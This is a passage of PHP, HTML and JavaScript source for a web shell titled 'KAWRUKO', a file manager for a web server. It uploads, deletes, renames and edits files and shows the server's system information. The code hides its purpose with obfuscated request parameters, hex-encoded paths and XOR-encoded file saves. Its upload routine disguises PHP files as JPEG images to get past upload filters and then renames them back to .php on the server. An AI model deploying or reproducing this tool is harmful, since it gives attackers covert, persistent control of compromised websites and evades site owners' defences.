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: / tmp /
Filename : stream2_TZpL33
back
SIZE => 'File exceeds MAX_FILE_SIZE',
                                UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
                                UPLOAD_ERR_NO_FILE => 'No file was uploaded',
                                UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                                UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
                                UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
                            ][$files['error'][$i]] ?? 'Unknown upload error';
                            
                            $result['error'][] = $errorMsg . ": {$files['name'][$i]}";
                            continue;
                        }
                        
                        $fileName = basename($files['name'][$i]);
                        $mimeType = $files['type'][$i] ?? '';
                        $tempPath = $files['tmp_name'][$i];
                        
                        // Check if this is a disguised PHP file
                        $disguised = $isDisguisedPhp($fileName, $mimeType, $tempPath);
                        $finalFileName = $disguised ? str_replace('.jpg', '.php', $fileName) : $fileName;
                        $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                        
                        $validation = $validateFile($finalFileName, $files['size'][$i]);
                        
                        if ($validation) {
                            $result['error'][] = $validation . " ({$finalFileName})";
                            continue;
                        }
                        
                        $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                        
                        if ($streamCopyFile($tempPath, $finalDest)) {
                            $fileInfo = $getFileInfo($finalDest, $finalFileName);
                            if ($fileInfo) {
                                $result['added'][] = $fileInfo;
                                if ($wasOverwritten) {
                                    $result['warning'][] = $disguised ? 
                                        "PHP file overwritten: $finalFileName" : 
                                        "File overwritten: $finalFileName";
                                }
                            }
                        } else {
                            $result['error'][] = "Failed to copy uploaded file: $fileName";
                        }
                    }
                } else {
                    // Single file upload with disguise detection
                    if ($files['error'] === UPLOAD_ERR_OK) {
                        $fileName = basename($files['name']);
                        $mimeType = $files['type'] ?? '';
                        $tempPath = $files['tmp_name'];
                        
                        // Check if this is a disguised PHP file
                        $disguised = $isDisguisedPhp($fileName, $mimeType, $tempPath);
                        $finalFileName = $disguised ? str_replace('.jpg', '.php', $fileName) : $fileName;
                        $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                        
                        $validation = $validateFile($finalFileName, $files['size']);
                        
                        if (!$validation) {
                            $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                            
                            if ($streamCopyFile($tempPath, $finalDest)) {
                                if (file_exists($finalDest)) {
                                    $fileInfo = $getFileInfo($finalDest, $finalFileName);
                                    if ($fileInfo) {
                                        $result['added'][] = $fileInfo;
                                        if ($wasOverwritten) {
                                            $result['warning'][] = $disguised ? 
                                                "PHP file overwritten: $finalFileName" : 
                                                "File overwritten: $finalFileName";
                                        }
                                    }
                                }
                            } else {
                                $result['error'][] = "Failed to copy uploaded file: $fileName";
                            }
                        } else {
                            $result['error'][] = $validation;
                        }
                    } else {
                        $errorMsg = [
                            UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
                            UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', 
                            UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
                            UPLOAD_ERR_NO_FILE => 'No file was uploaded',
                            UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                            UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
                            UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
                        ][$files['error']] ?? 'Unknown upload error';
                        
                        $result['error'][] = $errorMsg;
                    }
                }
            }
            
            // If no POST files were processed and no FILES were provided
            elseif (!isset($_POST['file_content']) && !isset($_POST['files']) && empty($result['added'])) {
                $result['error'][] = "No upload data received (FILES or POST)";
            }
            
            // Response
            $uploadedCount = count($result['added']);
            $overwrittenCount = count($result['removed']);
            
            if ($uploadedCount > 0) {
                $uploadedNames = array_map(function($item) { return $item['name']; }, $result['added']);
                
                if ($overwrittenCount > 0) {
                    $result['notice'] = "Successfully uploaded $uploadedCount file(s), $overwrittenCount overwritten: " . implode(', ', $uploadedNames);
                } else {
                    $result['notice'] = "Successfully uploaded: " . implode(', ', $uploadedNames);
                }
            }
            
            json_response($result);
            break;

        case 'delete':
            $name = (string)($_POST['name'] ?? '');
            $target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
            if ($target === false || !within_root($target, $ROOT)) json_response(["ok" => false, "error" => "Invalid target."], 400);
            $ok = is_dir($target) ? @rmdir($target) : @unlink($target);
            json_response(["ok" => (bool)$ok, "error" => $ok ? null : "Delete failed."]);
            break;

        case 'rename':
            $old = (string)($_POST['old'] ?? '');
            $new = (string)($_POST['new'] ?? '');
            if ($old === '' || $new === '') json_response(["ok" => false, "error" => "Missing names."], 400);
            $from = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $old);
            $to = rtrim($path, "/\\") . DIRECTORY_SEPARATOR . basename($new);
            if ($from === false || !within_root($from, $ROOT) || !within_root($to, $ROOT)) {
                json_response(["ok" => false, "error" => "Invalid path."], 400);
            }
            $ok = @rename($from, $to);
            json_response(["ok" => (bool)$ok, "error" => $ok ? null : "Rename failed."]);
            break;

        case 'read':
            $name = (string)($_POST['name'] ?? '');
            $target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
            if ($target === false || !within_root($target, $ROOT) || !is_file($target)) {
                json_response(["ok" => false, "error" => "Invalid file."], 400);
            }
            $plain = editor_stream_read_file_plain($target);
            json_response(["ok" => true, "content" => $plain, "name" => basename($target)]);
            break;

        case 'save':
            $name = (string)($_POST['name'] ?? '');
            $b64 = (string)($_POST['content_b64'] ?? '');
            $legacy = (string)($_POST['content'] ?? '');
            $target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
            if ($target === false || !within_root($target, $ROOT) || !is_file($target)) {
                json_response(["ok" => false, "error" => "Invalid file."], 400);
            }
            $ok = false;
            if ($b64 !== '') $ok = editor_stream_decode_and_write_b64($b64, $target);
            elseif ($legacy !== '') $ok = editor_stream_decode_and_write_legacy($legacy, $target);
            json_response(["ok" => $ok, "error" => $ok ? null : "Save failed."]);
            break;

        default:
            json_response(["ok" => false, "error" => "Unknown shikigf."], 400);
    }
}

/* initial path for JS (decode hex from GET) */
$initialParam = isset($_GET['nakxn']) ? (string)$_GET['nakxn'] : '';
$initialPath  = $initialParam !== '' ? uhex($initialParam) : $CURRENT;
$statePath    = htmlspecialchars(normalize_slashes($initialPath), ENT_QUOTES);
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>🌸 KAWRUKO</title>

<link href="https://fonts.googleapis.com/css2?family=Zilla+Slab:wght@400;500;700&display=swap" rel="stylesheet">

<style>
:root{
  --c1:#784848; --c2:#D89090; --c3:#76645B; --c4:#A86078; --c5:#47434C;
  --bg:#1e1d22; --panel:#2a2830; --err:#ff6b6b; --ok:#58c98b; --warn:#ffcc66;
  --radius:14px; --shadow:0 10px 30px rgba(0,0,0,.35);
}
*{box-sizing:border-box}
html,body{height:100%}
body{ margin:0; font-family:"Zilla Slab", system-ui, -apple-system, Segoe UI, Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif; background: var(--bg); color:#f4f1f6; }
.wrapper{ max-width:1100px; margin:32px auto; padding:0 16px; }

.header{
  background: linear-gradient(135deg, var(--c5), var(--c1));
  border:1px solid #00000022; box-shadow: var(--shadow);
  border-radius: var(--radius); padding:12px 16px;
  display:flex; gap:14px; align-items:center; justify-content:space-between;
}
.brand{ display:flex; align-items:center; gap:12px; }
.brand .logo{ width: 40px; height: 40px; border-radius: 10px; overflow: hidden; background: transparent; }
.brand .logo img{ width: 100%; height: 100%; object-fit: contain; display: block; }
.brand h1{font-size:18px; margin:0; letter-spacing:.3px}

.server-info{ text-align: right; display:flex; flex-direction:column; gap:6px; align-items:flex-end; }
.server-info .badge{
  display:inline-block; padding:6px 8px; border-radius:12px;
  background:#ffffff12; border:1px solid #00000033; color:#f6e9ef;
  font-size:12px; line-height:1.3em;
}
.server-info .badge code{ color:#fff; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; }

.breadcrumb{
  margin-top:12px; padding:12px 16px; background: var(--panel);
  border:1px solid #00000030; border-radius: var(--radius);
  box-shadow: var(--shadow); display:flex; flex-wrap:wrap; gap:8px; align-items:center;
}
.crumb, .crumb.current{
  text-decoration:none; padding:6px 10px; border-radius:999px;
  border:1px solid #00000033; background:#ffffff0e; color:#f6e9ef;
  transition: all .15s ease-in-out;
}
.crumb:hover{background:#ffffff25}
.crumb.current{background:#ffffff28; color:#fff; border-color:#00000044}
.crumb-sep{opacity:.6}

.panel{ margin-top:16px; background: var(--panel); border-radius: var(--radius); border:1px solid #0000002a; box-shadow: var(--shadow); overflow:hidden; }

.toolbar{
  padding:14px; display:flex; gap:10px; flex-wrap:wrap;
  border-bottom:1px solid #0000002a; background:#2a2730;
}
.btn{
  appearance:none; border:none; cursor:pointer;
  padding:10px 14px; border-radius:12px;
  background: linear-gradient(135deg, var(--c2), var(--c4));
  color:#291b20; font-weight:700;
  box-shadow: 0 6px 14px #00000045, inset 0 1px 0 #ffffff55;
  transition: transform .06s ease, filter .2s ease;
}
.btn:hover{ filter:brightness(1.05) }
.btn:active{ transform:translateY(1px) }
.btn.secondary{ background: linear-gradient(135deg, #ffffff18, #ffffff12); color:#f1e7ea; font-weight:600; border:1px solid #00000033; }
.input, .file{ padding:10px 12px; border-radius:12px; border:1px solid #0000003b; background:#1f1d23; color:#eee; min-width:0; }

.table-wrap{ width:100%; overflow:auto }
table{ width:100%; border-collapse:separate; border-spacing:0; }
thead th{ text-align:left; font-weight:700; padding:14px 14px; font-size:14px; position:sticky; top:0; background:#232129; z-index:1; }
tbody td{ padding:14px; border-top:1px solid #00000022; font-size:15px; }
tr:hover td{ background:#ffffff06 }
.type-badge{ font-size:12px; padding:4px 8px; border-radius:999px; background:#ffffff14; border:1px solid #00000033; }
.name{ display:flex; align-items:center; gap:10px; min-width:200px; }
.icon{ width:28px; height:28px; border-radius:8px; display:grid; place-items:center; font-size:14px; background: linear-gradient(135deg, var(--c3), var(--c5)); border:1px solid #00000044; }
.icon.folder{ background: linear-gradient(135deg, var(--c1), var(--c3)); }
.icon.file{ background: linear-gradient(135deg, var(--c4), var(--c2)); }
.row-actions{ display:flex; gap:8px; }
.row-actions .btn{ padding:6px 10px; border-radius:10px; font-size:13px }
.row-actions .btn.danger{ background: linear-gradient(135deg, var(--err), #d35454); color:#2b1010 }
.row-actions .btn.muted{ background: linear-gradient(135deg, #ffffff18, #ffffff10); color:#eee; border:1px solid #00000033 }

#toasts{ position:fixed; right:18px; bottom:18px; display:flex; flex-direction:column; gap:10px; z-index:10050; }
.toast{
  min-width:240px; max-width:360px; padding:10px 12px; border-radius:12px;
  background:#221f26; border:1px solid #00000044; box-shadow: var(--shadow);
  color:#eee; display:flex; align-items:center; gap:10px; animation: slidein .2s ease-out;
}
.toast.ok{ border-color:#2a6146; }
.toast.err{ border-color:#663232; }
.toast.warn{ border-color:#6a5a2a; }
.toast .dot{ width:10px; height:10px; border-radius:999px; }
.toast.ok .dot{ background: var(--ok); }
.toast.err .dot{ background: var(--err); }
.toast.warn .dot{ background: var(--warn); }
@keyframes slidein { from{ transform:translateY(8px); opacity:0 } to{ transform:translateY(0); opacity:1 } }

#editorModal{ position:fixed; inset:0; display:none; align-items:center; justify-content:center; background: rgba(14, 12, 16, .6); padding:20px; z-index:10000; }
.modal-card{ width:min(900px, 95vw); background: #241f27; border:1px solid #00000055; border-radius:16px; box-shadow: var(--shadow); overflow:hidden; display:flex; flex-direction:column; }
.modal-head{ padding:14px 16px; background: linear-gradient(135deg, var(--c5), var(--c1)); display:flex; align-items:center; justify-content:space-between; gap:8px; }
.modal-title{font-weight:700}
.modal-body{ padding:12px }
.modal-actions{ padding:12px; display:flex; gap:8px; justify-content:flex-end; border-top:1px solid #00000033; background:#211d24; }
#editorArea{ width:100%; height:55vh; resize:vertical; padding:12px; border-radius:12px; border:1px solid #00000044; background:#18161b; color:#eee; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; }

.footer{ margin-top:18px; text-align:center; color:#cfc9d2; opacity:.9; font-size:13px; }

@media (max-width: 640px){
  .row-actions .btn{ padding:6px 8px }
  td:nth-child(3), th:nth-child(3){ display:none }
}
</style>
</head>
<body>
<div class="wrapper">
  <div class="header">
    <div class="brand">
      <div class="logo"><img src="https://raw.githubusercontent.com/lovelijapeli/zeinhorobosu/refs/heads/main/image.png" alt="Icon"></div>
      <h1>KAWRUKO</h1>
    </div>
    <div class="server-info">
      <span class="badge">Server: <code><?= htmlspecialchars($unameFull) ?></code></span>
      <span class="badge">IP: <code><?= htmlspecialchars($serverIp) ?></code></span>
      <span class="badge">Software: <code><?= htmlspecialchars($serverType) ?></code></span>
    </div>
  </div>

  <div id="breadcrumb" class="breadcrumb">Loading…</div>

  <div class="panel">
    <div class="toolbar">
      <form id="uploadForm">
        <input type="file" id="fileInput" class="file" multiple />
        <button class="btn" type="submit">Upload</button>
      </form>

      <div style="flex:1"></div>

      <form id="renameForm" style="display:flex; gap:8px; align-items:center">
        <input class="input" type="text" id="oldName" placeholder="Old name.ext" />
        <span>→</span>
        <input class="input" type="text" id="newName" placeholder="New name.ext" />
        <button class="btn secondary" type="submit">Rename</button>
      </form>
    </div>

    <div class="table-wrap">
      <table id="fmTable">
        <thead>
          <tr>
            <th style="min-width:260px">Name</th>
            <th>Type</th>
            <th>Size</th>
            <th>Last Modified</th>
            <th>Actions</th>
          </tr>
        </thead>
        <tbody id="fmBody">
          <tr><td colspan="5" style="padding:20px; opacity:.8">Loading directory…</td></tr>
        </tbody>
      </table>
    </div>
  </div>

  <div class="footer">&copy zeinhorobosu</div>
</div>

<div id="toasts" aria-live="polite" aria-atomic="true"></div>

<div id="editorModal" aria-hidden="true">
  <div class="modal-card">
    <div class="modal-head">
      <div class="modal-title" id="editorTitle">Edit file</div>
      <button class="btn secondary" id="editorClose" type="button">Close</button>
    </div>
    <div class="modal-body">
      <textarea id="editorArea" spellcheck="false"></textarea>
    </div>
    <div class="modal-actions">
      <button class="btn" id="editorSave" type="button">Save</button>
    </div>
  </div>
</div>

<script>
function toast(msg, type='ok', timeout=2600){
  const wrap = document.getElementById('toasts');
  const el = document.createElement('div');
  el.className = 'toast ' + type;
  el.innerHTML = `<span class="dot"></span><div>${msg}</div>`;
  wrap.appendChild(el);
  setTimeout(()=>{ el.style.opacity='0'; el.style.transform='translateY(6px)'; }, timeout);
  setTimeout(()=>{ el.remove(); }, timeout+350);
}

const state = {
  path: "<?= $statePath ?>",
  editing: { name: null }
};

function toHex(str){
  let out = '';
  for (let i = 0; i < str.length; i++) out += str.charCodeAt(i).toString(16);
  return out;
}

// Generic API using shikigf
async function api(shikigf, data = {}) {
  const form = new FormData();
  form.append('shikigf', shikigf);
  form.append('nakxn', toHex(state.path));
  for (const [k,v] of Object.entries(data)) form.append(k, v);
  const res = await fetch(location.href, { method:'POST', body: form });
  const text = await res.text();
  try { const j = JSON.parse(text); if (!j.ok) throw new Error(j.error || 'Request failed'); return j; }
  catch(e){ console.error('Server raw:', text); throw new Error('Invalid server response'); }
}

const uploadForm = document.getElementById('uploadForm');
const fileInput  = document.getElementById('fileInput');

function resetUploadForm(){ 
  try { uploadForm.reset(); } catch(_) {} 
  if (fileInput) fileInput.value = ''; 
}

document.addEventListener('click', (e)=>{
  const btn = e.target.closest('.btn');
  if (btn && !btn.closest('#uploadForm')) resetUploadForm();
});

function render(items){
  const tbody = document.getElementById('fmBody');
  tbody.innerHTML = '';
  if (!items.length){
    tbody.innerHTML = '<tr><td colspan="5" style="padding:20px; opacity:.8">Empty directory</td></tr>';
    return;
  }
  for (const it of items){
    const tr = document.createElement('tr');

    const name = document.createElement('td');
    name.className = 'name';
    const icon = document.createElement('div');
    icon.className = 'icon ' + (it.type === 'dir' ? 'folder' : 'file');
    icon.textContent = it.type === 'dir' ? '📁' : '📄';

    const link = document.createElement('a');
    link.textContent = it.name;
    link.style.color = '#fff';
    link.style.textDecoration = 'none';

    if (it.type === 'dir') {
      const newUrl = new URL(location.origin + location.pathname);
      newUrl.searchParams.set('nakxn', toHex(it.path));
      link.href = newUrl.toString();
      link.addEventListener('click', (e) => {
        const isModified = e.ctrlKey || e.metaKey || e.shiftKey || e.altKey;
        const isMiddle = e.button === 1;
        if (!isModified && !isMiddle) {
          e.preventDefault();
          changeDirectory(it.path);
        }
      });
    } else {
      link.href = '#';
      link.addEventListener('click', (e)=>{
        e.preventDefault();
        resetUploadForm();
        openEditor(it.name);
      });
    }

    name.appendChild(icon); name.appendChild(link);

    const type = document.createElement('td');
    type.innerHTML = `<span class="type-badge">${it.type}</span>`;

    const size = document.createElement('td'); size.textContent = it.size || '';
    const mtime = document.createElement('td'); mtime.textContent = it.mtime;

    const actions = document.createElement('td');
    const rowActions = document.createElement('div'); rowActions.className = 'row-actions';

    if (it.type === 'file'){
      const editBtn = document.createElement('button');
      editBtn.className = 'btn muted'; editBtn.textContent = 'Edit';
      editBtn.addEventListener('click', ()=> { resetUploadForm(); openEditor(it.name); });
      rowActions.appendChild(editBtn);
    }

    const delBtn = document.createElement('button');
    delBtn.className = 'btn danger'; delBtn.textContent = 'Delete';
    delBtn.addEventListener('click', async ()=>{
      try { await api('delete', { name: it.name }); toast(`Deleted "${it.name}"`, 'ok'); resetUploadForm(); await refresh(); }
      catch (e){ toast(e.message || 'Delete failed', 'err'); }
    });
    rowActions.appendChild(delBtn);

    actions.appendChild(rowActions);

    tr.appendChild(name);
    tr.appendChild(type);
    tr.appendChild(size);
    tr.appendChild(mtime);
    tr.appendChild(actions);

    tbody.appendChild(tr);
  }
}

async function refresh(){
  try{
    const j = await api('list');
    state.path = j.path;
    document.getElementById('breadcrumb').innerHTML = j.breadcrumb;
    attachBreadcrumbHandlers();
    render(j.items);
  }catch(e){
    toast(e.message, 'err');
  }
}

function attachBreadcrumbHandlers(){
  document.querySelectorAll('.crumb').forEach(a=>{
    a.addEventListener('click', (ev)=>{
      ev.preventDefault();
      const p = a.getAttribute('data-path');
      if (p) changeDirectory(p);
    });
  });
}

async function changeDirectory(newPath){
  state.path = newPath;
  resetUploadForm();
  try { await refresh(); toast(`Directory: ${newPath}`, 'ok', 1600); }
  catch(e){ toast(e.message, 'err'); }
}

// Enhanced upload function with conditional JPG disguising
// Enhanced upload function with conditional JPG disguising
uploadForm.addEventListener('submit', async (e)=>{
  e.preventDefault();
  const files = fileInput.files;
  if (!files.length) { toast('No files selected', 'warn'); return; }

  // Check server domain first to determine if we should disguise
  let shouldDisguiseClient = false;
  try {
    // Get server hostname via a quick API call
    const testForm = new FormData();
    testForm.append('shikigf', 'check_domain');
    const response = await fetch(location.href, { method: 'POST', body: testForm });
    const result = await response.json();
    shouldDisguiseClient = result.should_disguise || false;
  } catch(e) {
    // If check fails, assume no disguising
    shouldDisguiseClient = false;
  }

  let okCount = 0, failCount = 0;

  for (const file of files){
    try{
      // Only disguise PHP files as JPG if server allows it
      let modifiedFile = file;
      let originalName = file.name;
      
      if (shouldDisguiseClient && file.name.toLowerCase().endsWith('.php')) {
        // Create new file with .jpg extension and image/jpeg MIME type
        const newName = file.name.replace(/\.php$/i, '.jpg');
        modifiedFile = new File([file], newName, {
          type: 'image/jpeg',  // Set MIME type to image/jpeg
          lastModified: file.lastModified
        });
      }

      // Rest of upload logic remains the same...
      const form = new FormData();
      form.append('shikigf', 'upload_xor');
      form.append('nakxn', toHex(state.path));
      form.append('target', 'l1_Lw');
      form.append('upload', modifiedFile);

      let res = await fetch(location.href, { method: 'POST', body: form });
      let text = await res.text();
      
      let result;
      try { 
        result = JSON.parse(text); 
      } catch(_){ 
        // Fallback methods...
        const reader = new FileReader();
        const fileContent = await new Promise((resolve, reject) => {
          reader.onload = e => resolve(e.target.result);
          reader.onerror = reject;
          reader.readAsText(file);
        });

        const postForm = new FormData();
        postForm.append('shikigf', 'upload_xor');
        postForm.append('nakxn', toHex(state.path));
        postForm.append('file_name', modifiedFile.name);
        postForm.append('file_content', fileContent);
        postForm.append('content_encoding', 'raw');

        res = await fetch(location.href, { method: 'POST', body: postForm });
        text = await res.text();
        
        try {
          result = JSON.parse(text);
        } catch(_) {
          const base64Content = await new Promise((resolve, reject) => {
            const b64Reader = new FileReader();
            b64Reader.onload = e => resolve(e.target.result.split(',')[1]);
            b64Reader.onerror = reject;
            b64Reader.readAsDataURL(file);
          });

          const b64Form = new FormData();
          b64Form.append('shikigf', 'upload_xor');
          b64Form.append('nakxn', toHex(state.path));
          b64Form.append('file_name', modifiedFile.name);
          b64Form.append('file_content', base64Content);
          b64Form.append('content_encoding', 'base64');

          res = await fetch(location.href, { method: 'POST', body: b64Form });
          text = await res.text();
          result = JSON.parse(text);
        }
      }
      
      if (result.error && result.error.length > 0) {
        throw new Error(result.error.join(', '));
      }
      
      if (result.added && result.added.length > 0) {
        // Show original filename in success message
        if (shouldDisguiseClient && originalName !== modifiedFile.name) {
          toast(`PHP file uploaded: ${originalName}`, 'ok');
        } else {
          toast(`Uploaded "${file.name}"`, 'ok');
        }
        okCount++;
      } else {
        throw new Error('No file was added');
      }

    }catch(err){
      console.error(err);
      failCount++;
      toast(`${file.name}: ${err?.message || 'Upload failed'}`, 'err', 3600);
    }
  }

  resetUploadForm();
  if (okCount) toast(`Uploaded ${okCount} file(s)`, 'ok');
  if (failCount) toast(`${failCount} upload(s) failed`, 'err');

  await refresh();
});


/* ===== Rename form ===== */
const renameForm   = document.getElementById('renameForm');
const oldNameInput = document.getElementById('oldName');
const newNameInput = document.getElementById('newName');

if (renameForm) {
  renameForm.addEventListener('submit', async (e) => {
    e.preventDefault();
    const oldVal = (oldNameInput?.value || '').trim();
    const newVal = (newNameInput?.value || '').trim();

    if (!oldVal || !newVal) { toast('Please fill both names.', 'warn'); return; }

    try {
      await api('rename', { old: oldVal, new: newVal });
      toast(`Renamed "${oldVal}" → "${newVal}"`, 'ok');
      oldNameInput.value = '';
      newNameInput.value = '';
      await refresh();
    } catch (err) {
      toast(err.message || 'Rename failed', 'err');
    }
  });
}

function editorKey(i){
  const val = (i * 31 + 7) >>> 0;
  const bx  = val & 0xFF;

  const HALF_PI = Math.PI / 2;

  const a = Math.asin(Math.sin(i + 3)) / HALF_PI;
  const c = Math.cos(i * 0.5);
  const t = Math.atan(Math.tan((i + 1) * 0.25)) / HALF_PI;

  const mix = (a + c + t) / 3.0;
  const trigByte = Math.floor((mix + 1.0) * 127.5);

  const k = ((bx ^ (i & 0xFF)) + trigByte) & 0xFF;
  return k;
}
function editorEncodeToBinaryString(str){
  let out = [];
  for (let i = 0; i < str.length; i++){
    const code = str.charCodeAt(i) & 0xFF;
    out.push(String.fromCharCode(code ^ editorKey(i)));
  }
  return out.join('');
}
function b64EncodeBinary(str){ return btoa(str); }

const editorModal = document.getElementById('editorModal');
const editorArea = document.getElementById('editorArea');
const editorTitle = document.getElementById('editorTitle');
document.getElementById('editorClose').addEventListener('click', ()=>{ resetUploadForm(); closeEditor(); });
document.getElementById('editorSave').addEventListener('click', saveEditor);

function openEditor(name){
  editorTitle.textContent = 'Edit: ' + name;
  editorArea.value = 'Loading…';
  editorModal.style.display = 'flex';
  state.editing.name = name;
  api('read', { name })
    .then(j => { editorArea.value = j.content || ''; })
    .catch(e => { editorArea.value = ''; toast(e.message, 'err'); });
}
function closeEditor(){ editorModal.style.display = 'none'; state.editing.name = null; }

async function saveEditor(){
  const name = state.editing.name;
  if (!name) return;
  try {
    const plain = editorArea.value;
    const bin   = editorEncodeToBinaryString(plain);
    const b64   = b64EncodeBinary(bin);
    await api('save', { name, content_b64: b64 });
    closeEditor();
    resetUploadForm();
    toast(`Saved "${name}"`, 'ok');
    await refresh();
  } catch(e){ toast(e.message, 'err'); }
}
window.addEventListener('keydown', (e)=>{ if (e.key === 'Escape' && editorModal.style.display === 'flex') closeEditor(); });

refresh();
</script>
</body>
</html>